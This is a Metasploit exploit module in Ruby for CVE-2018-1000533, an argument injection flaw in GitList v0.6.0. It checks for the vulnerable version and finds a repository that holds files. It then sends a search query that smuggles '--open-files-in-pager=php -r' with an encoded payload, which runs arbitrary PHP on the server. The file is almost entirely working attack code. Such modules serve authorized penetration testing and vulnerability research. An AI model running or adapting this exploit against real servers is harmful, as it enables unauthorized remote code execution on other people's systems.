cgranleese-r7
112 lines
3.1 KiB
Ruby
112 lines
3.1 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => "GitList v0.6.0 Argument Injection Vulnerability",
|
|
'Description' => %q{
|
|
This module exploits an argument injection vulnerability in GitList v0.6.0.
|
|
The vulnerability arises from GitList improperly validating input using the php function
|
|
'escapeshellarg'.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Kacper Szurek', # EDB POC
|
|
'Shelby Pace' # Metasploit Module
|
|
],
|
|
'References' => [
|
|
[ 'CVE', '2018-1000533' ],
|
|
[ 'EDB', '44548' ],
|
|
[ 'URL', 'http://web.archive.org/web/20200122054133/https://security.szurek.pl/exploit-bypass-php-escapeshellarg-escapeshellcmd.html']
|
|
],
|
|
'Platform' => ['php'],
|
|
'Arch' => ARCH_PHP,
|
|
'Targets' => [
|
|
[ 'GitList v0.6.0', {} ]
|
|
],
|
|
'Privileged' => false,
|
|
'Payload' => { 'BadChars' => '\'' },
|
|
'DisclosureDate' => '2018-04-26',
|
|
'DefaultTarget' => 0,
|
|
'Notes' => {
|
|
'Reliability' => UNKNOWN_RELIABILITY,
|
|
'Stability' => UNKNOWN_STABILITY,
|
|
'SideEffects' => UNKNOWN_SIDE_EFFECTS
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('TARGETURI', [true, 'Default path to GitList', '/'])
|
|
]
|
|
)
|
|
end
|
|
|
|
def check
|
|
uri = normalize_uri(target_uri.path)
|
|
res = send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => uri
|
|
)
|
|
|
|
if res && res.code == 200 && /Powered by .*GitList 0\.6\.0/.match(res.body)
|
|
return Exploit::CheckCode::Appears
|
|
end
|
|
|
|
Exploit::CheckCode::Safe
|
|
end
|
|
|
|
def get_repo
|
|
repo_res = send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path)
|
|
)
|
|
|
|
if repo_res && repo_res.code == 200
|
|
repos = repo_res.body.scan(/\/([^\/]+)\/master\/rss\//).flatten
|
|
fail_with(Failure::Unreachable, "Could not retrieve any repos") if repos.empty?
|
|
return repos.detect { |r| r if has_files?(r) }
|
|
else
|
|
fail_with(Failure::Unreachable, "Could not access GitList")
|
|
end
|
|
end
|
|
|
|
def has_files?(repo)
|
|
res = send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, repo, '/')
|
|
)
|
|
if res && res.code == 200
|
|
print_good("Successfully accessed repo #{repo}")
|
|
return false if res.body.scan(/#{repo}\/blob\/master\//).flatten.empty?
|
|
|
|
return true
|
|
else
|
|
fail_with(Failure::Unreachable, "Couldn't detect files in #{repo}'s repo")
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
repo = get_repo
|
|
fail_with(Failure::Unreachable, "No files found in repos") if repo.nil?
|
|
|
|
postUri = normalize_uri(target_uri.path, repo << '/tree/c/search')
|
|
cmd = "--open-files-in-pager=php -r '#{payload.encoded}'"
|
|
send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => postUri,
|
|
'vars_post' => { 'query' => cmd }
|
|
)
|
|
end
|
|
end
|